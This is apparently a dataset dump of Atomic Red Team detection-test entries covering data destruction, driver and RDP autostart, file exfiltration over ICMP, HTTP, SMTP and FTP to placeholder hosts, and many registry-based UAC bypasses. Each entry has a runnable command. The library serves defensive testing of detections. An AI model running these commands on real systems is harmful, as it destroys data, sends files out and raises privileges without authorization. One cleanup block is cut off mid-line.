deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1485: Data Destruction
Test: Overwrite deleted data on C drive
Platforms: windows
Executor: command_prompt

Description:
RansomEXX malware removes all deleted files using windows built-in cipher.exe to prevent forensic recover.
This process is very slow and test execution may timeout. 
https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware
https://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4


Command:
cipher.exe /w:C:
Atomic Red Team — T1485: Data Destruction
Test: GCP - Delete Bucket
Platforms: iaas:gcp
Executor: sh

Description:
This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations.
This atomic will create a bucket then delete the bucket.

Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml


Command:
gcloud config set project #{project_id}
gcloud storage buckets delete gs://#{bucket_name}


Cleanup:
cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
terraform state rm google_storage_bucket.bucket
terraform destroy -auto-approve


Dependencies:
Requires gcloud

Check if user is logged in 

Check if terraform is installed.
Atomic Red Team — T1485: Data Destruction
Test: ESXi - Delete VM Snapshots
Platforms: windows
Executor: command_prompt

Description:
Deletes all snapshots for all Virtual Machines on an ESXi Host
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#inhibit%20recovery)


Command:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done"


Dependencies:
Check if we have plink
Atomic Red Team — T1547: Boot or Logon Autostart Execution
Test: Add a driver
Platforms: windows
Executor: command_prompt

Description:
Install a driver via pnputil.exe lolbin


Command:
pnputil.exe /add-driver "#{driver_inf}"
Atomic Red Team — T1547: Boot or Logon Autostart Execution
Test: Driver Installation Using pnputil.exe
Platforms: windows
Executor: powershell

Description:
pnputil.exe is a native command-line utility in Windows to install drivers, this can be abused by to install malicious drivers. Ref: https://lolbas-project.github.io/lolbas/Binaries/Pnputil/


Command:
pnputil.exe -i -a #{driver_path}
Atomic Red Team — T1547: Boot or Logon Autostart Execution
Test: Leverage Virtual Channels to execute custom DLL during successful RDP session
Platforms: windows
Executor: command_prompt

Description:
Virtual Channels can be leveraged to alter RDP behavior using dedicated Addins.The mechanism is implemented using DLLs which can be executed during RDP session automatically. 
The DLLs are loaded in the host system only after successful connection is established with the remote system.
Once the test is run, amsi.dll will be loaded on the host system during successful RDP session.
Blog :https://learn.microsoft.com/en-us/windows/win32/termserv/terminal-services-virtual-channels?redirectedfrom=MSDN


Command:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\#{Subkey_Added}" /v Name /t REG_SZ /d "#{dll_inf}" /f


Cleanup:
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\#{Subkey_Added}" /f
Atomic Red Team — T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Test: Exfiltration Over Alternative Protocol - HTTP
Platforms: macos, linux
Executor: manual

Description:
A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337.

Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.
Atomic Red Team — T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Test: Exfiltration Over Alternative Protocol - ICMP
Platforms: windows
Executor: powershell

Description:
Exfiltration of specified file over ICMP protocol.

Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.


Command:
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }
Atomic Red Team — T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Test: Exfiltration Over Alternative Protocol - DNS
Platforms: linux
Executor: manual

Description:
Exfiltration of specified file over DNS protocol.
Atomic Red Team — T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Test: Exfiltration Over Alternative Protocol - HTTP
Platforms: windows
Executor: powershell

Description:
Exfiltration of specified file over HTTP.
Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.


Command:
$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
Atomic Red Team — T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Test: Exfiltration Over Alternative Protocol - SMTP
Platforms: windows
Executor: powershell

Description:
Exfiltration of specified file over SMTP.
Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.


Command:
Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}
Atomic Red Team — T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Test: MAZE FTP Upload
Platforms: windows
Executor: powershell

Description:
This test simulates MAZE's ransomware's ability to exfiltrate data via FTP.
Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. 
Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents


Command:
$Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://#{ftp_server}/"
$web_client = New-Object System.Net.WebClient
$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')
if (test-connection -count 1 -computername "#{ftp_server}" -quiet)
{foreach($file in (dir $Dir_to_copy "*.7z"))
{echo "Uploading $file..."
$uri = New-Object System.Uri($ftp+$file.name)
$web_client.UploadFile($uri, $file.FullName)}}
else
{echo "FTP Server Unreachable. Please verify the server address in input args and try again."}


Cleanup:
$ftp = "ftp://#{ftp_server}/"
try {foreach ($file in (dir "$env:windir\temp" "*.7z"))
{$uri = New-Object System.Uri($ftp+$file.name)
 $ftp_del = [System.Net.FtpWebRequest]::create($uri)
 $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}')
 $ftp_del.Method = [S
Atomic Red Team — T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Test: Exfiltration Over Alternative Protocol - FTP - Rclone
Platforms: windows
Executor: powershell

Description:
Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server.
[Reference](https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/)

Command:
$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
$exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName
&$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass}
&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate

Dependencies:
Check if the exfil package exists

Check if rclone zip exists
Atomic Red Team — T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
Test: Python3 http.server
Platforms: linux
Executor: sh

Description:
An adversary may use the python3 standard library module http.server to exfiltrate data. This test checks if python3 is available and if so, creates a HTTP server on port 9090, captures the PID, sleeps for 10 seconds, then kills the PID and unsets the $PID variable.


Command:
[ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9
if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Bypass UAC using Event Viewer (cmd)
Platforms: windows
Executor: command_prompt

Description:
Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privileges. 


Command:
reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
cmd.exe /c eventvwr.msc


Cleanup:
reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Bypass UAC using Event Viewer (PowerShell)
Platforms: windows
Executor: powershell

Description:
PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privalages


Command:
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"


Cleanup:
Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Bypass UAC using Fodhelper
Platforms: windows
Executor: command_prompt

Description:
Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.


Command:
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
fodhelper.exe


Cleanup:
reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Bypass UAC using Fodhelper - PowerShell
Platforms: windows
Executor: powershell

Description:
PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution command prompt will be opened.


Command:
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"


Cleanup:
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Bypass UAC using ComputerDefaults (PowerShell)
Platforms: windows
Executor: powershell

Description:
PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
Upon execution administrative command prompt should open


Command:
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe"


Cleanup:
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Bypass UAC by Mocking Trusted Directories
Platforms: windows
Executor: command_prompt

Description:
Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch


Command:
mkdir "\\?\C:\Windows \System32\"
copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"


Cleanup:
rd "\\?\C:\Windows \" /S /Q >nul 2>nul
del "c:\testbypass.exe" >nul 2>nul
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Bypass UAC using sdclt DelegateExecute
Platforms: windows
Executor: powershell

Description:
Bypasses User Account Control using a fileless method, registry only.
Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)


Command:
New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command_to_execute}'
New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
Start-Process -FilePath $env:windir\system32\sdclt.exe
Start-Sleep -s 3


Cleanup:
Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Disable UAC using reg.exe
Platforms: windows
Executor: command_prompt

Description:
Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0


Command:
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f


Cleanup:
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Bypass UAC using SilentCleanup task
Platforms: windows
Executor: command_prompt

Description:
Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/

There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).

For example, we can set the windir registry kye to: "cmd /k REM "

And forcefully run SilentCleanup task:

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.


Command:
"#{file_path}"
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UACME Bypass Method 23
Platforms: windows
Executor: command_prompt

Description:
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Leo Davidson derivative

Type:	Dll Hijack

Method: IFileOperation

Target:	\system32\pkgmgr.exe

Component: DismCore.dll

Implementation:	ucmDismMethod

UCM Method:	UacMethodDISM

https://github.com/hfiref0x/UACME


Command:
"#{uacme_exe}"


Cleanup:
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore


Dependencies:
UACME executable must exist on disk at specified location ("#{uacme_exe}")
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UACME Bypass Method 31
Platforms: windows
Executor: command_prompt

Description:
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Enigma0x3

Type:	Shell API

Method: Registry key manipulation

Target:	\system32\sdclt.exe

Component: Attacker defined

Implementation:	ucmSdcltIsolatedCommandMethod

UCM Method:	UacMethodShellSdclt

https://github.com/hfiref0x/UACME


Command:
"#{uacme_exe}"


Cleanup:
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore


Dependencies:
UACME executable must exist on disk at specified location ("#{uacme_exe}")
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UACME Bypass Method 33
Platforms: windows
Executor: command_prompt

Description:
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: winscripting.blog

Type:	Shell API

Method: Registry key manipulation

Target:	\system32\fodhelper.exe

Component:	Attacker defined

Implementation:	ucmShellRegModMethod

UCM Method:	UacMethodMsSettings2

https://github.com/hfiref0x/UACME


Command:
"#{uacme_exe}"


Cleanup:
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore


Dependencies:
UACME executable must exist on disk at specified location ("#{uacme_exe}")
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UACME Bypass Method 34
Platforms: windows
Executor: command_prompt

Description:
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: James Forshaw

Type:	Shell API

Method: Environment variables expansion

Target:	\system32\svchost.exe via \system32\schtasks.exe

Component:	Attacker defined

Implementation:	ucmDiskCleanupEnvironmentVariable

UCM Method:	UacMethodDiskSilentCleanup

https://github.com/hfiref0x/UACME


Command:
"#{uacme_exe}"


Cleanup:
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore


Dependencies:
UACME executable must exist on disk at specified location ("#{uacme_exe}")
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UACME Bypass Method 39
Platforms: windows
Executor: command_prompt

Description:
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Stefan Kanthak

Type:	Dll Hijack

Method: .NET Code Profiler

Target:	\system32\mmc.exe

Component:	Attacker defined

Implementation:	ucmCorProfilerMethod

UCM Method:	UacMethodCorProfiler

https://github.com/hfiref0x/UACME


Command:
"#{uacme_exe}"


Cleanup:
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore


Dependencies:
UACME executable must exist on disk at specified location ("#{uacme_exe}")
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UACME Bypass Method 56
Platforms: windows
Executor: command_prompt

Description:
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Hashim Jawad

Type:	Shell API

Method: Registry key manipulation

Target:	\system32\WSReset.exe

Component:	Attacker defined

Implementation:	ucmShellRegModMethod

UCM Method:	UacMethodShellWSReset

https://github.com/hfiref0x/UACME


Command:
"#{uacme_exe}"


Cleanup:
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore


Dependencies:
UACME executable must exist on disk at specified location ("#{uacme_exe}")
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UACME Bypass Method 59
Platforms: windows
Executor: command_prompt

Description:
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: James Forshaw

Type:	AppInfo ALPC

Method: RAiLaunchAdminProcess and DebugObject

Target:	Attacker defined

Component:	Attacker defined

Implementation:	ucmDebugObjectMethod

UCM Method:	UacMethodDebugObject

https://github.com/hfiref0x/UACME


Command:
"#{uacme_exe}"


Cleanup:
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore


Dependencies:
UACME executable must exist on disk at specified location ("#{uacme_exe}")
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UACME Bypass Method 61
Platforms: windows
Executor: command_prompt

Description:
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Enigma0x3/bytecode77 derivative by Nassim Asrir

Type:	Shell API

Method: Registry key manipulation

Target:	\system32\slui.exe, \system32\changepk.exe

Component:	Attacker defined

Implementation:	ucmShellRegModMethod

UCM Method:	UacMethodDebugObject

https://github.com/hfiref0x/UACME


Command:
"#{uacme_exe}"


Cleanup:
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore


Dependencies:
UACME executable must exist on disk at specified location ("#{uacme_exe}")